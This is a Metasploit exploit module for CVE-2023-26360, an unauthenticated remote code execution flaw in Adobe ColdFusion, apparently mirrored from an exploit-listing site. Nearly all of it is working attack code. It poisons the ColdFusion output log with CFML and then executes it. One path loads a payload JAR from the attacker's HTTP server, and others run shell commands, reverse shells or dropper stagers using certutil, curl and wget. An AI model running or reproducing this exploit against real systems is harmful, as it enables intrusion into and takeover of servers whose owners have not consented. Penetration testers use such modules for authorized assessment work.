Share
## https://sploitus.com/exploit?id=PACKETSTORM:172079
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe  
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in  
order to gain remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sf', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-26360'],  
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']  
],  
'DisclosureDate' => '2023-03-14',  
'Platform' => %w[java win linux unix],  
'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.  
'WfsDelay' => 30,  
'Targets' => [  
[  
'Generic Java',  
{  
'Type' => :java,  
'Platform' => 'java',  
'Arch' => [ ARCH_JAVA ],  
'DefaultOptions' => {  
'PAYLOAD' => 'java/meterpreter/reverse_tcp'  
}  
},  
],  
[  
'Windows Command',  
{  
'Type' => :cmd,  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
},  
],  
[  
'Windows Dropper',  
{  
'Type' => :dropper,  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Type' => :cmd,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_perl'  
}  
},  
],  
[  
'Linux Dropper',  
{  
'Type' => :dropper,  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# The following artifacts will be left on disk:  
# The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)  
# * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class  
# * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class  
# If a dropper payload was used, a file with a random name may be left.  
# * Windows: C:\Windows\Temp\XXXXXX.exe  
# * Linux: /tmp/XXXXXX  
ARTIFACTS_ON_DISK,  
# The following logs will contain IOCs:  
# C:\ColdFusion2021\cfusion\logs\coldfusion-out.log  
# C:\ColdFusion2021\cfusion\logs\exception.log  
# C:\ColdFusion2021\cfusion\logs\application.log  
IOC_IN_LOGS  
],  
'RelatedModules' => [  
'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'  
]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8500),  
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),  
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),  
OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/'  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint  
# to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.  
# https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69  
  
if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/  
return CheckCode::Detected('ColdFusion detected but version number is unknown.')  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
unless datastore['CFC_ENDPOINT'].end_with?('.cfc')  
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')  
end  
  
case target['Type']  
when :java  
# Start the HTTP server  
start_service  
  
# Trigger a loadClass request via java.net.URLClassLoader  
trigger_urlclassloader  
  
# Handle the payload...  
handler  
when :cmd  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
  
def on_request_uri(cli, _req)  
if target['Type'] == :java  
print_status('Received payload request, transmitting payload jar...')  
  
send_response(cli, payload.encoded, {  
'Content-Type' => 'application/java-archive',  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
})  
else  
super  
end  
end  
  
def trigger_urlclassloader  
# Here we construct a CFML payload to load a Java payload via URLClassLoader.  
  
# NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.  
  
cf_url = Rex::Text.rand_text_alpha_lower(4)  
  
srvhost = datastore['SRVHOST']  
  
# Ensure SRVHOST is a routable IP address to our RHOST.  
if Rex::Socket.addr_atoi(srvhost) == 0  
srvhost = Rex::Socket.source_address(rhost)  
end  
  
# Create a URL pointing back to our HTTP server.  
cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"  
  
cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)  
  
# Get a reference to java.lang.reflect.Array so we can create a URL[] instance.  
cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"  
  
cf_array = Rex::Text.rand_text_alpha_lower(4)  
  
# Create a URL[1] instance.  
cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"  
  
# Set the first element in the array to our URL.  
cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"  
  
cf_loader = Rex::Text.rand_text_alpha_lower(4)  
  
# Create a URLClassLoader instance.  
cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"  
  
# Load the remote JAR file and instantiate an instance of metasploit.Payload.  
cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"  
  
execute_cfml(cfc_payload)  
end  
  
def execute_command(cmd, _opts = {})  
cf_param = Rex::Text.rand_text_alpha_lower(4)  
  
# If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.  
cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"  
  
# Set our cf_param with the data in the requests form data, this is the command to run.  
cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"  
  
# Here we construct a CFML payload to stage the :cmd and :dropper commands...  
shell_name = nil  
shell_arg = nil  
  
case target['Platform']  
when 'win'  
shell_name = 'cmd.exe'  
shell_arg = '/C'  
when 'linux', 'unix'  
shell_name = '/bin/sh'  
shell_arg = '-c'  
end  
  
cf_array = Rex::Text.rand_text_alpha_lower(4)  
  
# Create an array of arguments to pass to exec()  
cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"  
  
cf_runtime = Rex::Text.rand_text_alpha_lower(4)  
  
# Get a reference to the java.lang.Runtime class.  
cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"  
  
# Call the static Runtime.exec method to execute our string array holding the command and the arguments.  
cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"  
  
# The end of the If tag.  
cfc_payload << '</cfif>'  
  
execute_cfml(cfc_payload, cf_param, cmd)  
end  
  
def execute_cfml(cfml, param = nil, param_data = nil)  
cfc_payload = '<cftry>'  
  
cfc_payload << cfml  
  
cfc_payload << "<cfcatch type='any'>"  
  
cfc_payload << '</cfcatch>'  
  
cfc_payload << '<cffinally>'  
  
# Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.  
# GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the  
# template we are executing.  
cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"  
  
cfc_payload << '</cffinally>'  
  
cfc_payload << '</cftry>'  
  
# We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.  
unless cfc_payload.length < 950  
fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')  
end  
  
# We dont need to call a valid CFC method, so we just create a random method name to supply to the server.  
cfc_method = Rex::Text.rand_text_alpha_lower(1..8)  
  
# Perform the request that writes the cfc_payload to the CF_LOGFILE.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),  
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },  
'vars_post' => { '_variables' => "{#{cfc_payload}" }  
)  
  
unless res && res.code == 200 && res.body.include?('<title>Error</title>')  
fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')  
end  
  
# The relative path from wwwroot to the CF_LOGFILE.  
cflog_file = datastore['CF_LOGFILE']  
  
# To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters  
# to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.  
if target['Platform'] == 'win'  
classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"  
else  
classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"  
end  
  
json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"  
  
vars_post = { '_variables' => json_variables }  
  
unless param.nil? || param_data.nil?  
vars_post[param] = param_data  
end  
  
# Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be  
# executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),  
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },  
'vars_post' => vars_post  
)  
  
unless res && res.code == 200 && res.body.include?('<title>Error</title>')  
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')  
end  
end  
  
end